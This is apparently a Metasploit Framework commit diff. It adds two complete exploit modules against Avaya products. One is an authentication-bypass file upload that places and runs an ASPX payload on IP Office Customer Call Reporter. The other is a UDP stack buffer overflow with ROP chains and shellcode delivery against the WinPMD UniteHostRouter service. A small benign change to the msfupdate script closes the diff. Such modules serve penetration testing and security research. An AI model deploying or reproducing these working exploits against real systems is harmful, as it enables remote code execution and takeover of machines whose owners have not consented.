0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
else
rop_payload = generate_rop_payload('java', p)
end
code = rop
code << make_nops(38)
code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
code << [t.ret].pack("V") # Stack Pivot
code << payload.encoded
return code
return rop_payload
end
end

View File

@ -0,0 +1,184 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability on Avaya IP Office
Customer Call Reporter, which allows a remote user to upload arbitrary files
through the ImageUpload.ashx component. It can be abused to upload and execute
arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2012-3811' ],
[ 'OSVDB', '83399' ],
[ 'BID', '54225' ],
[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ]
],
'Targets' =>
[
[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jun 28 2012'
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])
], self.class)
end
#
# Remove the .aspx if we get a meterpreter.
#
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@payload_path}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
cli.fs.file.rm(@payload_path)
print_good("#{@peer} - #{@payload_path} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@payload_path}: #{e.message}")
end
end
def exploit
@peer = "#{rhost}:#{rport}"
# Generate the ASPX containing the EXE containing the payload
exe = generate_payload_exe
aspx = Msf::Util::EXE.to_exe_aspx(exe)
aspx_b64 = Rex::Text.encode_base64(aspx)
uri_path = target_uri.path
uri_path.path << "/" if uri_path[-1, 1] != "/"
boundary = "---------------------------#{rand_text_alpha(36)}"
my_data = "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"
my_data << "\r\n"
my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"
my_data << "\r\n"
my_data << "#{aspx_b64}\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"
my_data << "\r\n"
my_data << "../../CCRWallboardMessageBroker/\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"
my_data << "\r\n"
my_data << "0\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"
my_data << "\r\n"
my_data << "\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"
my_data << "\r\n"
my_data << "True\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"
my_data << "\r\n"
my_data << "True\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"
my_data << "\r\n"
my_data << "0\r\n"
my_data << "--#{boundary}\r\n"
my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"
my_data << "\r\n"
my_data << "0\r\n"
my_data << "--#{boundary}--\r\n"
#
# UPLOAD
#
attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"
print_status("#{@peer} - Uploading #{aspx_b64.length} bytes through #{attack_url}...")
res = send_request_cgi({
'uri' => attack_url,
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => my_data,
}, 20)
payload_url = ""
@payload_path = ""
if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/
print_good("#{@peer} - Payload uploaded successfuly")
else
print_error("#{@peer} - Payload upload failed")
return
end
# Retrieve info about the uploaded payload
if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/
@payload_path = $1
print_status("#{@peer} - Payload stored on #{@payload_path}")
else
print_error("#{@peer} - The payload file path couldn't be retrieved")
end
if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/
payload_url = URI($1).path
else
print_error("#{@peer} - The payload URI couldn't be retrieved... Aborting!")
return
end
#
# EXECUTE
#
print_status("#{@peer} - Executing #{payload_url}...")
res = send_request_cgi({
'uri' => payload_url,
'method' => 'GET'
}, 20)
if (!res or (res and res.code != 200))
print_error("#{@peer} - Execution failed on #{payload_url} [No Response]")
return
end
end
end

View File

@ -0,0 +1,140 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
parsing specially crafted "To:" headers. The module has been tested successfully on
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
},
'Author' =>
[
'Abdul-Aziz Hariri', # Vulnerability discovery
'Abysssec', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '82764'],
['OSVDB', '73269'],
['BID', '47947'],
['EDB', '18397'],
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
['URL', 'http://secunia.com/advisories/44062']
],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
'Space' => 1024,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
['Avaya WinPMD 3.8.2 / Windows XP SP3',
{
'Offset' => 260,
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
}
],
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',
{
'Offset' => 260,
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
}
]
],
'Privileged' => true,
'DisclosureDate' => 'May 23 2011',
'DefaultTarget' => 0
))
register_options([ Opt::RPORT(3217) ], self.class)
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def exploit
connect_udp
if target.name =~ /Windows XP SP3/
buf = "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x7f" # jmp short $+0x81
buf << rand_text(0x81 - 2)
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
elsif target.name =~ /Windows 2003 SP2/
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
buf = rand_text(3) # padding
buf << rop_gadgets
buf << "\xeb\x7f" # jmp $+0x81
buf << rand_text(0x81-2)
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
buf << rand_text(target['Offset'] - buf.length)
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
end
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
if target.name =~ /Windows 2003 SP2/
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
end
request << payload.encoded # The shellcode will be stored in the heap
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
udp_sock.put(request)
disconnect_udp
end
end

View File

@ -9,6 +9,7 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
@args = ARGV.dup
Dir.chdir(File.dirname(msfbase))
@ -22,22 +23,24 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?)
$stderr.puts "Please run msfupdate as the same user who installed metasploit."
end
wait = (ARGV.shift.to_s == "wait")
have_configdir = false
ARGV.each do |arg|
next unless arg =~ /--config-dir/
have_configdir = true
@args.each_with_index do |arg,i|
case arg
when "wait"
@wait_index = i
when /--config-dir/
# Spaces in the directory should be fine since this whole thing is passed
# as a single argument via the multi-arg syntax for system() below.
# TODO: Test this spaces business. I don't buy it. -todb
@configdir_index = i
@configdir = File.join(File.dirname(msfbase), "data", "svn")
end
end
unless have_configdir
configdir = File.join(File.dirname(msfbase), "data", "svn")
# Spaces in the directory should be fine since this whole thing is passed
# as a single argument via the multi-arg syntax for system() below.
ARGV.push("--config-dir=#{configdir}")
end
@args.delete_at @wait_index if @wait_index
@args.delete_at @configdir_index if @configdir_index
ARGV.push("--non-interactive")
@args.push("--non-interactive")
@args.push("--config-dir=#{@configdir}") if @configdir_index
res = system("svn", "cleanup")
if res.nil?
@ -48,10 +51,10 @@ if res.nil?
$stderr.puts "[-] to ensure a proper environment."
else
# Cleanup worked, go ahead and update
system("svn", "update", *ARGV)
system("svn", "update", *@args)
end
if wait
if @wait_index
$stderr.puts ""
$stderr.puts "[*] Please hit enter to exit"
$stderr.puts ""